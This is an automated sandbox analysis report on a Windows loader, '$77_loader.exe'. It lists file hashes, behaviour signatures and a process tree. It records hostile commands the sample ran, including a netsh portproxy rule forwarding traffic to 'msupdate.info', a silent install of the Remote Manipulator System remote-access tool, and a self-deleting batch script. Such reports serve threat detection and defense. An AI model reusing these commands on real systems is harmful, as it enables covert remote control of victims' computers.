Analysis

  • max time kernel
    141s
  • max time network
    157s
  • platform
    windows7_x64
  • resource
    win7-20220414-en
  • submitted
    21-04-2022 18:54

General

  • Target

    $77_loader.exe

  • Size

    397KB

  • MD5

    aff57ee1a4f3731c2036046910f78fb4

  • SHA1

    ef9627c0cadff85a3dfaab6aef0b7c885f03b186

  • SHA256

    3826953ded758361f9783d67242e4ba87092d637d72bcf81c649e52665c57de4

  • SHA512

    5ae93c6dae61782a7ac2fa2079df7006e0655d73e32fd7df1a5c1d44e47fd7dd2da225ea6f93e9d3dcb09be5f84b5dab2130bb4f2d5b0e05d95e866ebde0163f

Malware Config

Signatures

  • RMS

    Remote Manipulator System (RMS) is a remote access tool developed by Russian organization TektonIT.

  • Blocklisted process makes network request 3 IoCs
  • Downloads MZ/PE file
  • Executes dropped EXE 9 IoCs
  • Sets file execution options in registry 2 TTPs
  • Loads dropped DLL 4 IoCs
  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Enumerates connected drives 3 TTPs 24 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Modifies WinLogon 2 TTPs 3 IoCs
  • Modifies powershell logging option 1 TTPs
  • Drops file in Program Files directory 53 IoCs
  • Drops file in Windows directory 20 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Gathers network information 2 TTPs 6 IoCs

    Uses commandline utility to view network configuration.

  • Modifies data under HKEY_USERS 3 IoCs
  • Modifies registry class 24 IoCs
  • Suspicious behavior: EnumeratesProcesses 28 IoCs
  • Suspicious behavior: SetClipboardViewer 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of SetWindowsHookEx 5 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\$77_loader.exe
    "C:\Users\Admin\AppData\Local\Temp\$77_loader.exe"
    1⤵
    • Modifies WinLogon
    • Drops file in Windows directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:1864
    • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe
      "C:\Windows\Microsoft.NET\Framework64\v2.0.50727\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\z2hddylb.cmdline"
      2⤵
      • Suspicious use of WriteProcessMemory
      PID:1132
      • C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe
        C:\Windows\Microsoft.NET\Framework64\v2.0.50727\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES3390.tmp" "c:\Users\Admin\AppData\Local\Temp\CSC338F.tmp"
        3⤵
          PID:2016
      • C:\Windows\system32\chcp.com
        "C:\Windows\system32\chcp.com" 437
        2⤵
          PID:920
        • C:\Windows\system32\netsh.exe
          "C:\Windows\system32\netsh.exe" interface portproxy show all
          2⤵
            PID:1760
          • C:\Windows\system32\NETSTAT.EXE
            "C:\Windows\system32\NETSTAT.EXE" -na
            2⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:1976
          • C:\Windows\system32\NETSTAT.EXE
            "C:\Windows\system32\NETSTAT.EXE" -na
            2⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:1600
          • C:\Windows\system32\NETSTAT.EXE
            "C:\Windows\system32\NETSTAT.EXE" -na
            2⤵
            • Gathers network information
            • Suspicious use of AdjustPrivilegeToken
            PID:1932
          • C:\Windows\system32\netsh.exe
            "C:\Windows\system32\netsh.exe" interface portproxy reset
            2⤵
              PID:1224
            • C:\Windows\system32\netsh.exe
              "C:\Windows\system32\netsh.exe" interface portproxy show all
              2⤵
                PID:1876
              • C:\Windows\system32\netsh.exe
                "C:\Windows\system32\netsh.exe" interface portproxy add v4tov4 listenport=757 connectport=443 connectaddress=msupdate.info
                2⤵
                  PID:1172
                • C:\Windows\system32\netsh.exe
                  "C:\Windows\system32\netsh.exe" interface portproxy show all
                  2⤵
                    PID:1308
                  • C:\Windows\system32\netsh.exe
                    "C:\Windows\system32\netsh.exe" interface portproxy show all
                    2⤵
                      PID:1780
                    • C:\Windows\system32\NETSTAT.EXE
                      "C:\Windows\system32\NETSTAT.EXE" -na
                      2⤵
                      • Gathers network information
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2008
                    • C:\Windows\system32\NETSTAT.EXE
                      "C:\Windows\system32\NETSTAT.EXE" -na
                      2⤵
                      • Gathers network information
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1144
                    • C:\Windows\system32\NETSTAT.EXE
                      "C:\Windows\system32\NETSTAT.EXE" -na
                      2⤵
                      • Gathers network information
                      • Suspicious use of AdjustPrivilegeToken
                      PID:632
                    • C:\Users\Admin\AppData\Local\Temp\RMS.exe
                      "C:\Users\Admin\AppData\Local\Temp\RMS.exe"
                      2⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious use of WriteProcessMemory
                      PID:1196
                      • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe
                        "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe" /rsetup
                        3⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        • Suspicious use of WriteProcessMemory
                        PID:1036
                        • C:\Windows\SysWOW64\msiexec.exe
                          "C:\Windows\System32\msiexec.exe" /i "C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\rms.host6.3ru_mod.msi" /qn
                          4⤵
                          • Suspicious use of AdjustPrivilegeToken
                          PID:1284
                        • C:\Windows\SysWOW64\cmd.exe
                          cmd /c C:\Users\Admin\AppData\Local\Temp\killself.bat
                          4⤵
                            PID:1388
                    • C:\Windows\system32\msiexec.exe
                      C:\Windows\system32\msiexec.exe /V
                      1⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:1012
                    • C:\Windows\system32\msiexec.exe
                      C:\Windows\system32\msiexec.exe /V
                      1⤵
                      • Blocklisted process makes network request
                      • Enumerates connected drives
                      • Drops file in Program Files directory
                      • Drops file in Windows directory
                      • Modifies data under HKEY_USERS
                      • Modifies registry class
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of AdjustPrivilegeToken
                      • Suspicious use of WriteProcessMemory
                      PID:1512
                      • C:\Windows\syswow64\MsiExec.exe
                        C:\Windows\syswow64\MsiExec.exe -Embedding 1BD9DDF886891833996EF4D471BADC0E
                        2⤵
                        • Loads dropped DLL
                        PID:1016
                      • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
                        "C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /silentinstall
                        2⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:844
                      • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
                        "C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /firewall
                        2⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:1964
                      • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
                        "C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe" /start
                        2⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        • Suspicious use of SetWindowsHookEx
                        PID:820
                    • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe
                      "C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe"
                      1⤵
                      • Executes dropped EXE
                      • Loads dropped DLL
                      • Suspicious behavior: EnumeratesProcesses
                      • Suspicious use of SetWindowsHookEx
                      PID:880
                      • C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe
                        "C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe"
                        2⤵
                        • Executes dropped EXE
                        • Suspicious behavior: EnumeratesProcesses
                        PID:1692
                        • C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe
                          "C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe" /tray
                          3⤵
                          • Executes dropped EXE
                          • Suspicious behavior: SetClipboardViewer
                          PID:1544
                      • C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe
                        "C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe" /tray
                        2⤵
                        • Executes dropped EXE
                        PID:776

                    Network

                    MITRE ATT&CK Enterprise v6

                    Replay Monitor

                    Loading Replay Monitor...

                    Downloads

                    • C:\Program Files (x86)\Remote Manipulator System - Host\English.lg

                      Filesize

                      43KB

                      MD5

                      bc25377ade68750b834c81fa71c233b8

                      SHA1

                      84dbb465dd2125f47668e2508e18af9bd6db2fd8

                      SHA256

                      9a48a7ea7ba2c2f33280d1e1722ebbc59bf81bc6c5a1f97edca53ea641ffd8e3

                      SHA512

                      205ab195339d7108adbe6dfabd48e4e21c5956ded587d7213a44618f0d34a43f7b8abaa7765b9d31695efacfc44beeb69fbaa3cb27c141b6a653713fdf5ebce5

                    • C:\Program Files (x86)\Remote Manipulator System - Host\RIPCServer.dll

                      Filesize

                      144KB

                      MD5

                      2ddfa39f5c2fd3f00681ef2970617e4b

                      SHA1

                      8152aa18afbacf398b92168995ec8696d3fe3659

                      SHA256

                      f938bdc741ef1d2738b532aef001a160e3a3627ed8a27158b7017ee49fc65791

                      SHA512

                      f89f0f02cda650c138e4ebaef198f0762dfd571ef7d46a6b3710cd93d76bc52a79055c55afca46128a9a84a795a5cb946ca93c492e07cfb503c9b27d96211e20

                    • C:\Program Files (x86)\Remote Manipulator System - Host\RWLN.dll

                      Filesize

                      975KB

                      MD5

                      3d0b27b3f8aa22575aa0faf0b2d67216

                      SHA1

                      39fc787538849692ed7352418616f467b7a86a1d

                      SHA256

                      d7782488ef29bf0fd7e8faf0bd24414a6540bf7366434692a5a485d5ae2d7d44

                      SHA512

                      19f0785d3cecce0dbbb7da1be640bffebe4daedc65a513d1db0b5e533eb96aaa0588831de74c88e5013c00405e03ca4188c4b633e39e6c49ab5c1d1b42191ca8

                    • C:\Program Files (x86)\Remote Manipulator System - Host\Russian.lg

                      Filesize

                      48KB

                      MD5

                      e44e34bc285b709f08f967325d9c8be1

                      SHA1

                      e73f05c6a980ec9d006930c5343955f89579b409

                      SHA256

                      1d99a7b5f7b3daa61fa773972b1e335aa09b92411484f6ddc99d2b2894455a5b

                      SHA512

                      576b292b6e9cf022822443e050994462a6cbd9a3c60063bae9f54c78a84e75e17bb5eddf7e259a22a9d93f757cb6536c503762e2a30e75091e40c2756cde8727

                    • C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

                      Filesize

                      5.1MB

                      MD5

                      76ebe5fd077a62161d0ab560208b9f94

                      SHA1

                      614c218d35ba531f0bad791d52e5dcf57df5c742

                      SHA256

                      f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

                      SHA512

                      baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

                    • C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

                      Filesize

                      5.1MB

                      MD5

                      76ebe5fd077a62161d0ab560208b9f94

                      SHA1

                      614c218d35ba531f0bad791d52e5dcf57df5c742

                      SHA256

                      f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

                      SHA512

                      baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

                    • C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

                      Filesize

                      5.1MB

                      MD5

                      76ebe5fd077a62161d0ab560208b9f94

                      SHA1

                      614c218d35ba531f0bad791d52e5dcf57df5c742

                      SHA256

                      f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

                      SHA512

                      baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

                    • C:\Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

                      Filesize

                      5.1MB

                      MD5

                      76ebe5fd077a62161d0ab560208b9f94

                      SHA1

                      614c218d35ba531f0bad791d52e5dcf57df5c742

                      SHA256

                      f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

                      SHA512

                      baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

                    • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

                      Filesize

                      6.0MB

                      MD5

                      c9704931d887685d96ce92d637d84045

                      SHA1

                      0875a71e9118ded121d92f3f46a3af1ec8380f8b

                      SHA256

                      0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

                      SHA512

                      3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

                    • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

                      Filesize

                      6.0MB

                      MD5

                      c9704931d887685d96ce92d637d84045

                      SHA1

                      0875a71e9118ded121d92f3f46a3af1ec8380f8b

                      SHA256

                      0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

                      SHA512

                      3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

                    • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

                      Filesize

                      6.0MB

                      MD5

                      c9704931d887685d96ce92d637d84045

                      SHA1

                      0875a71e9118ded121d92f3f46a3af1ec8380f8b

                      SHA256

                      0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

                      SHA512

                      3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

                    • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

                      Filesize

                      6.0MB

                      MD5

                      c9704931d887685d96ce92d637d84045

                      SHA1

                      0875a71e9118ded121d92f3f46a3af1ec8380f8b

                      SHA256

                      0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

                      SHA512

                      3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

                    • C:\Program Files (x86)\Remote Manipulator System - Host\rutserv.exe

                      Filesize

                      6.0MB

                      MD5

                      c9704931d887685d96ce92d637d84045

                      SHA1

                      0875a71e9118ded121d92f3f46a3af1ec8380f8b

                      SHA256

                      0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

                      SHA512

                      3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

                    • C:\Program Files (x86)\Remote Manipulator System - Host\vp8decoder.dll

                      Filesize

                      378KB

                      MD5

                      292a1748850d1fdc91d4ec23b02d6902

                      SHA1

                      8f15f1c24e11c0b45b19c82a78f7b79b1e7f932d

                      SHA256

                      acf354ad6ed94e876b29a60c5870dd91e7b3f76cc82c1a862c92024a12404a9f

                      SHA512

                      cf7579f1169ec21d9bf3c666d416d3fe2a4f9953d4d328b182452e40043f91055d301fd4b4a21454b847dbdb0af6a61c52657caded7d6fd7e88812aceeacf704

                    • C:\Program Files (x86)\Remote Manipulator System - Host\vp8encoder.dll

                      Filesize

                      1.6MB

                      MD5

                      4570f7a40357016c97afe0dd4faf749b

                      SHA1

                      ebc8a1660f1103c655559caab3a70ec23ca187f1

                      SHA256

                      a5f008bf852d4c73e001f840d6f8b233c7d9bc9570cee639d40c1c8723bf99f8

                      SHA512

                      6b16979d004adc04259f2ce043cde6f7b57f2ddf5f4cea7bb390fd6b9fb273d22355b837f1b5c2eae77ea7df792de8e6db43e31d7246f044935a8187dace493b

                    • C:\Program Files (x86)\Remote Manipulator System - Host\webmmux.dll

                      Filesize

                      258KB

                      MD5

                      038bf9f3a58560ad1130eeb85cdc1a87

                      SHA1

                      3571eb7293a2a3a5bf6eb21e1569cd151d995d1a

                      SHA256

                      d247afa3bd1ccc18e11eb099280802a61d3792a2018c476d95debf2091e9707d

                      SHA512

                      8ffa52b358841600b9122974079d22d4e11bc4214316cd85ac4d4af0e369112b6827029f74a9a9d3918db00c7fed3a9a1985e0b43da39783a748d78752ae2385

                    • C:\Program Files (x86)\Remote Manipulator System - Host\webmvorbisdecoder.dll

                      Filesize

                      363KB

                      MD5

                      eeb2c52abbc7eb1c029b7fec45a7f22e

                      SHA1

                      8bfeb412614e3db0a2bf0122f4d68cc27b8c3a61

                      SHA256

                      c0f0b84d587066af8f80f41a7be63b4c01547af3f1e011602ac1b6ee0ac54a2c

                      SHA512

                      0b5b83335c6f602b8397a3c2ae6d1e661d744eb27114463d53e344bf18774ccb38853d314ebe05536d4c28c29fe3fdaba041a6a46983789f064ca70881cfcb85

                    • C:\Program Files (x86)\Remote Manipulator System - Host\webmvorbisencoder.dll

                      Filesize

                      858KB

                      MD5

                      e38372f576d927f525ef8e1a34b54664

                      SHA1

                      26af9d1db0a3f91d7fe13147e55f06c302d59389

                      SHA256

                      4046bd0b93909a41d0fd96f0405a864c79a47f493165546569251c1f73db6b0b

                      SHA512

                      78b7477b000407990304ec37624b873514d4ed9daa1b42fd988707b7374ffab442ba28fe19884724867f3f0f7a5f12f7fc8c228c050115c902d1569e4a3b13c7

                    • C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\94308059B57B3142E455B38A6EB92015

                      Filesize

                      344B

                      MD5

                      16aa60d95195681016a49d9f6c1d55f1

                      SHA1

                      312374ebc35a623e05ac629b86a6bcc367527ea3

                      SHA256

                      1c15a59d1fcfef1c93325dbe7d839bf304779ff811755d640625d0fa4ea6aa26

                      SHA512

                      00ea021fae408bc7b6bdf6cea1ef163db20648648f94c6617bc8e78fe3356209298d492cbec196a9c8871d575da6a2fb38d3c0332e714f9207858acd2c4ca1a1

                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe

                      Filesize

                      6.0MB

                      MD5

                      c9704931d887685d96ce92d637d84045

                      SHA1

                      0875a71e9118ded121d92f3f46a3af1ec8380f8b

                      SHA256

                      0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

                      SHA512

                      3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe

                      Filesize

                      6.0MB

                      MD5

                      c9704931d887685d96ce92d637d84045

                      SHA1

                      0875a71e9118ded121d92f3f46a3af1ec8380f8b

                      SHA256

                      0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

                      SHA512

                      3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

                    • C:\Users\Admin\AppData\Local\Temp\7ZipSfx.000\rms.host6.3ru_mod.msi

                      Filesize

                      7.4MB

                      MD5

                      73e578a44265558d3ace212869d43cbb

                      SHA1

                      d2c15578def8996ed0ae4a44754055b774b095a7

                      SHA256

                      8a6945ead42d78d963d6f2e126eebb89c0e82b02c389d4badcaa837ff49bf7f4

                      SHA512

                      fe661e19899a6f749a180e5b312fcebb2963acc92720d1c6cabba22b0ffd250f1930c9dac62f789cd4b99aff86ef0f3944ae52a583e2c1be57c9fca391be9bf4

                    • C:\Users\Admin\AppData\Local\Temp\RES3390.tmp

                      Filesize

                      1KB

                      MD5

                      07d2f6aae25809487b491f99627c62e0

                      SHA1

                      8d5c6a2aa51cb64f84212d20e956b194422df06d

                      SHA256

                      b08574e20e3dce060f59526cb24400e07eed97f4b536880747897b11862d44b0

                      SHA512

                      32476ae89d81394398c33d91480de219223d82c04df96610d5429e8e25beae4ab895ecc1fbb27ed6f2913ca6103f6f835d509eb6da7db32b1fd4317a50a88e1f

                    • C:\Users\Admin\AppData\Local\Temp\RMS.exe

                      Filesize

                      8.3MB

                      MD5

                      73f351beae5c881fafe36f42cde9a47c

                      SHA1

                      dc1425cfd5569bd59f5d56432df875b59da9300b

                      SHA256

                      a028816d9741540c6184091b4ae3c4e42b104f90fe3b17a55d0e4aa4c4c43824

                      SHA512

                      f484b1260e73b3717603cfcfd62e820502480d8be57a7570e6c38612c9ea86b9335c6a42742fbdb369a37fcd5ec4c2b06f426a075582c39639128ad7be92da66

                    • C:\Users\Admin\AppData\Local\Temp\RMS.exe

                      Filesize

                      8.3MB

                      MD5

                      73f351beae5c881fafe36f42cde9a47c

                      SHA1

                      dc1425cfd5569bd59f5d56432df875b59da9300b

                      SHA256

                      a028816d9741540c6184091b4ae3c4e42b104f90fe3b17a55d0e4aa4c4c43824

                      SHA512

                      f484b1260e73b3717603cfcfd62e820502480d8be57a7570e6c38612c9ea86b9335c6a42742fbdb369a37fcd5ec4c2b06f426a075582c39639128ad7be92da66

                    • C:\Users\Admin\AppData\Local\Temp\killself.bat

                      Filesize

                      411B

                      MD5

                      c2ac85b000427a4a00f19da237aaaf86

                      SHA1

                      459ecb5e64576348e6c654724e87825772c06ea8

                      SHA256

                      b5157eceaf9b5f6448d15dcfe7011af0b44a4288f7667c5d717f042c2fba1352

                      SHA512

                      e62f711445398b0654e698c4f7d4c75bb8693e901ae99f1cf543f45ccd9532daf27bba1ceb9d180d0379a41c9a62d6ee2df30cd25b9abb05532c551a0fad814b

                    • C:\Users\Admin\AppData\Local\Temp\z2hddylb.dll

                      Filesize

                      3KB

                      MD5

                      6c03b5d772e536cd3899ccea1f04ec48

                      SHA1

                      a283e1d52532e1b52e140e4deca5400816479849

                      SHA256

                      38ff91a8559e04219cdcaf193dde2972df00ea3ed5761a897968b552e0e80d88

                      SHA512

                      08b9319a07ea7a9a17a21da14679052372b14aff96be657e97d7cf9f241ab613e056956d2d7a6798bdc17309706ce2523a50aea608f4bf8b6150f2424d523127

                    • C:\Users\Admin\AppData\Local\Temp\z2hddylb.pdb

                      Filesize

                      11KB

                      MD5

                      43b2aebdf1ee515127b7c530151e18df

                      SHA1

                      a94c56067e6c927fbeabe54768520d170554578b

                      SHA256

                      7af188b7b826d02197426a9a2e41160a0debd917997aedf5005186c71e06f781

                      SHA512

                      8e01aa3f0af999a7400f5de3468a79ab13b6b505e951835f0e8b3dc5c35be8600f97b592d5903b4593ca10aa5fc3b25711d0aa24b79f2cdc3d014fccfc1cbc05

                    • C:\Windows\Installer\MSIF311.tmp

                      Filesize

                      125KB

                      MD5

                      b0bcc622f1fff0eec99e487fa1a4ddd9

                      SHA1

                      49aa392454bd5869fa23794196aedc38e8eea6f5

                      SHA256

                      b32687eaaad888410718875dcbff9f6a552e29c4d76af33e06e59859e1054081

                      SHA512

                      1572c1d07df2e9262d05a915d69ec4ebeb92eab50b89ce27dd290fb5a8e1de2c97d9320a3bb006834c98b3f6afcd7d2c29f039d9ca9afaa09c714406dedbc3c7

                    • \??\c:\Users\Admin\AppData\Local\Temp\CSC338F.tmp

                      Filesize

                      652B

                      MD5

                      a187d23b5afb7e5f1bdd1928ec1bd752

                      SHA1

                      d0346ad326235365d8664d84c19a3ad3a1d1dfd4

                      SHA256

                      72440a904f1958643e28e28ddcc5f914838c67a493b1fbc30c4a3fe87c2a50d5

                      SHA512

                      3f5e923541b797ae053a294fc9e708dfc37abfd55b197cf89f5e437bd822adda562ecc4658d20f4ef88a905b12564287fbd96fd893a49b5f0be2dbda34ebf86a

                    • \??\c:\Users\Admin\AppData\Local\Temp\z2hddylb.0.cs

                      Filesize

                      447B

                      MD5

                      1640a04633fee0dfdc7e22c4f4063bf6

                      SHA1

                      3cb525c47b5dd37f8ee45b034c9452265fba5476

                      SHA256

                      55e16d2ca3e65ce6c62cd5be2af5d7264445c5d7e1b5f3be7149acfb47ae42a0

                      SHA512

                      85c5103dda738d6003d39b0b619e68942965ddb9d6e08e544abf377224fdb29c6cd1501a549e99e57875954cea44b5bdefd7cace018c8123e7bfb717ae0e973d

                    • \??\c:\Users\Admin\AppData\Local\Temp\z2hddylb.cmdline

                      Filesize

                      309B

                      MD5

                      49119656947547bc335429d9b9390d12

                      SHA1

                      ddb2372de7f458facef13cdb8a685b5625d776f4

                      SHA256

                      a05691d6cda6bff8912e4d5d28de4fe903048e61169500c5d02b37a8330ea264

                      SHA512

                      b097111e3e118e6c5912bd588093be000980b788fd932c606f549f138c31c11183cb54687f90c67a8be8741087d2e9e9960759160debf042fa269c17903ef05f

                    • \Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

                      Filesize

                      5.1MB

                      MD5

                      76ebe5fd077a62161d0ab560208b9f94

                      SHA1

                      614c218d35ba531f0bad791d52e5dcf57df5c742

                      SHA256

                      f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

                      SHA512

                      baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

                    • \Program Files (x86)\Remote Manipulator System - Host\rfusclient.exe

                      Filesize

                      5.1MB

                      MD5

                      76ebe5fd077a62161d0ab560208b9f94

                      SHA1

                      614c218d35ba531f0bad791d52e5dcf57df5c742

                      SHA256

                      f0a653463850ce111457513e9ad3ec4443ed88c69fdf33d76e05c33ce8e1722b

                      SHA512

                      baba7b03042c4bfbf6efa9c2219ed72e393e193ee743a32501e1a5df56293b3bdf2270b92843c9333049dcfcfe52007d6e9a7bfaa0548ef268d2511cf590efde

                    • \Users\Admin\AppData\Local\Temp\7ZipSfx.000\installer.exe

                      Filesize

                      6.0MB

                      MD5

                      c9704931d887685d96ce92d637d84045

                      SHA1

                      0875a71e9118ded121d92f3f46a3af1ec8380f8b

                      SHA256

                      0448c45cb43585409002e01ef53442cb9f6ad58f211f5deb3ad2ca8b8d535826

                      SHA512

                      3b739394f69ec9f26ef607a0d481f1ad3d107462220c2281cbc300f16886ab3d857bee9af59b8857c7e7ae5b04e6a849eaa5e304d6935957a0a15e462375c260

                    • \Windows\Installer\MSIF311.tmp

                      Filesize

                      125KB

                      MD5

                      b0bcc622f1fff0eec99e487fa1a4ddd9

                      SHA1

                      49aa392454bd5869fa23794196aedc38e8eea6f5

                      SHA256

                      b32687eaaad888410718875dcbff9f6a552e29c4d76af33e06e59859e1054081

                      SHA512

                      1572c1d07df2e9262d05a915d69ec4ebeb92eab50b89ce27dd290fb5a8e1de2c97d9320a3bb006834c98b3f6afcd7d2c29f039d9ca9afaa09c714406dedbc3c7

                    • memory/632-85-0x0000000000000000-mapping.dmp

                    • memory/776-133-0x0000000000000000-mapping.dmp

                    • memory/820-113-0x0000000000000000-mapping.dmp

                    • memory/844-106-0x0000000000000000-mapping.dmp

                    • memory/920-66-0x0000000000000000-mapping.dmp

                    • memory/1012-67-0x000007FEFB871000-0x000007FEFB873000-memory.dmp

                      Filesize

                      8KB

                    • memory/1016-102-0x0000000000000000-mapping.dmp

                    • memory/1036-93-0x0000000000000000-mapping.dmp

                    • memory/1132-63-0x0000000002130000-0x0000000002132000-memory.dmp

                      Filesize

                      8KB

                    • memory/1132-57-0x0000000000000000-mapping.dmp

                    • memory/1144-84-0x0000000000000000-mapping.dmp

                    • memory/1172-77-0x0000000000000000-mapping.dmp

                    • memory/1196-88-0x0000000000000000-mapping.dmp

                    • memory/1196-90-0x0000000075A61000-0x0000000075A63000-memory.dmp

                      Filesize

                      8KB

                    • memory/1224-73-0x0000000000000000-mapping.dmp

                    • memory/1284-98-0x0000000000000000-mapping.dmp

                    • memory/1308-79-0x0000000000000000-mapping.dmp

                    • memory/1388-118-0x0000000000000000-mapping.dmp

                    • memory/1544-138-0x0000000000000000-mapping.dmp

                    • memory/1600-71-0x0000000000000000-mapping.dmp

                    • memory/1692-131-0x0000000000000000-mapping.dmp

                    • memory/1760-68-0x0000000000000000-mapping.dmp

                    • memory/1780-81-0x0000000000000000-mapping.dmp

                    • memory/1864-56-0x00000000020F0000-0x00000000020F2000-memory.dmp

                      Filesize

                      8KB

                    • memory/1864-54-0x000007FEF22B0000-0x000007FEF3346000-memory.dmp

                      Filesize

                      16.6MB

                    • memory/1864-87-0x000000001AEE0000-0x000000001AEF9000-memory.dmp

                      Filesize

                      100KB

                    • memory/1864-86-0x000000000211D000-0x000000000211F000-memory.dmp

                      Filesize

                      8KB

                    • memory/1864-55-0x000007FEEE450000-0x000007FEEEFAD000-memory.dmp

                      Filesize

                      11.4MB

                    • memory/1876-75-0x0000000000000000-mapping.dmp

                    • memory/1932-72-0x0000000000000000-mapping.dmp

                    • memory/1964-110-0x0000000000000000-mapping.dmp

                    • memory/1976-70-0x0000000000000000-mapping.dmp

                    • memory/2008-83-0x0000000000000000-mapping.dmp

                    • memory/2016-60-0x0000000000000000-mapping.dmp